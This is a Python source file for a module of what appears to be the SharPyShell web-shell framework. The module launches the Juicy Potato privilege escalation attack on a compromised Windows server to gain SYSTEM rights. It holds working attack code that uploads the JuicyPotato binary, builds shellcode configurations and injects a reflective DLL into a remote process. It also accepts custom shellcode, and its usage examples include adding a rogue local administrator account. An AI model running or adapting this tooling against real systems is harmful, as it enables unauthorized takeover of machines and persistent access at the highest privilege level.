Files

204 lines
11 KiB
Python

from core.Module import Module, ModuleException
from core import config
from modules.upload import Upload
from modules.exec_cmd import Exec_cmd
from modules.inject_dll_reflective import Inject_dll_reflective
from utils.random_string import random_generator
from utils import shellcode
import random
import traceback
class PrivescJuicyPotatoModuleException(ModuleException):
pass
class Privesc_juicy_potato(Module):
_exception_class = PrivescJuicyPotatoModuleException
short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
complete_help = r"""
Authors: @decoder @ohpe @phra @lupman
Links: https://github.com/ohpe/juicy-potato
https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
Accounts to NT AUTHORITY\SYSTEM.
This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
It is needed that the service account running w3wp.exe has the permission of 'SeImpersonatePrivilege' enabled.
You can check it with 'whoami /priv'
This vulnerability is no longer exploitable with Windows Server 2019:
https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
Usage:
#privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
Positional arguments:
cmd command supported by cmd.exe
exec_type Type of execution of juicy potato, values can be:
- 'reflective_dll'
- 'exe'
Default: 'reflective_dll'
clsid target CLSID to reflect
Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
custom_shellcode_path path to a file containing shellcode (format raw)
if set, this module will ignore 'cmd' argument
Default: 'default'
Examples:
Add a new local admin:
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
Run juicy reflecting a custom COM CLSID:
#privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
Run whoami with the classic Juicy Potato binary:
#privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
"""
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
{
string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
ProcessStartInfo pinfo = new ProcessStartInfo();
pinfo.FileName = exe_path;
pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
pinfo.RedirectStandardOutput = true;
pinfo.RedirectStandardError = true;
pinfo.UseShellExecute = false;
pinfo.WorkingDirectory = working_path;
Process p = new Process();
try{
p = Process.Start(pinfo);
}
catch (Exception e){
return "{{{SharPyShellError}}}\n" + e;
}
StreamReader stmrdr_output = p.StandardOutput;
StreamReader stmrdr_errors = p.StandardError;
string output = "";
string stand_out = stmrdr_output.ReadToEnd();
string stand_errors = stmrdr_errors.ReadToEnd();
stmrdr_output.Close();
stmrdr_errors.Close();
if (!String.IsNullOrEmpty(stand_out))
output = output + stand_out;
if (!String.IsNullOrEmpty(stand_errors))
output = "{{{SharPyShellError}}}\n" + output + stand_errors;
return output;
}
public byte[] ExecRuntime()
{
string output_func=ExecCmd(@"%s", @"%s", @"%s", @"%s");
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
__default_exec_type = 'reflective_dll'
__default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
__default_custom_shellcode_path = 'default'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
module_settings, request_object)
def __parse_run_args(self, args):
if len(args) < 1:
raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
args_parser = {k: v for k, v in enumerate(args)}
cmd = args_parser.get(0)
exec_type = args_parser.get(1, self.__default_exec_type)
self.__random_listening_port = str(random.randint(10000, 65000))
clsid = args_parser.get(2, self.__default_clsid)
arguments = ' -t * -l %s -c %s -p '
arguments = arguments % (self.__random_listening_port, clsid)
custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
return cmd, exec_type, arguments, custom_shellcode_path, clsid
def __lookup_binary(self):
if 'JuicyPotato.exe' in self._module_settings.keys():
bin_path = self._module_settings['JuicyPotato.exe']
else:
exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
print ('\n\n\nUploading Juicy Potato binary....\n')
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
print (upload_response)
self._module_settings['JuicyPotato.exe'] = remote_upload_path
bin_path = remote_upload_path
return bin_path
def __run_exe_version(self, cmd, arguments):
exe_path = self.__lookup_binary()
working_path = self._module_settings['working_directory']
request = self._runtime_code % (exe_path, arguments, cmd, working_path)
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
return parsed_response
def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
LogFile = logfile.encode()
remote_process = b'notepad.exe'
CLSID = clsid.encode()
ListeningPort = self.__random_listening_port.encode()
RpcServerHost = b'127.0.0.1'
RpcServerPort = b'135'
ListeningAddress = b'127.0.0.1'
if custom_shellcode_path == 'default':
shellcode_bytes = shellcode.winexec_x64 + b'cmd /c "' + cmd.encode() + b'"\00'
thread_timeout = '60000'
else:
thread_timeout = '0'
with open(custom_shellcode_path, 'rb') as file_handle:
shellcode_bytes = file_handle.read()
configuration = LogFile + b'\00'
configuration += remote_process + b'\00'
configuration += CLSID + b'\00'
configuration += ListeningPort + b'\00'
configuration += RpcServerHost + b'\00'
configuration += RpcServerPort + b'\00'
configuration += ListeningAddress + b'\00'
configuration += str(len(shellcode_bytes)).encode() + b'\00'
configuration += shellcode_bytes
configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in configuration) + '}'
response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
'cmd.exe', thread_timeout, configuration_bytes_csharp])
parsed_response = self._parse_response(response)
return parsed_response
def _create_request(self, args):
exe_path, arguments, cmd = args
working_path = self._module_settings['working_directory']
return self._runtime_code % (exe_path, arguments, cmd, working_path)
def run(self, args):
try:
cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
if exec_type == 'exe':
response = self.__run_exe_version(cmd, arguments)
else:
logfile = self._module_settings['env_directory'] + '\\' + random_generator()
print ('\n\nInjecting Reflective DLL into remote process...')
response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
response += '\nReflective DLL injection executed!\n\n'
if custom_shellcode_path == 'default':
response += '\nOutput of juicy potato:\n\n'
response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str(traceback.format_exc())
return parsed_response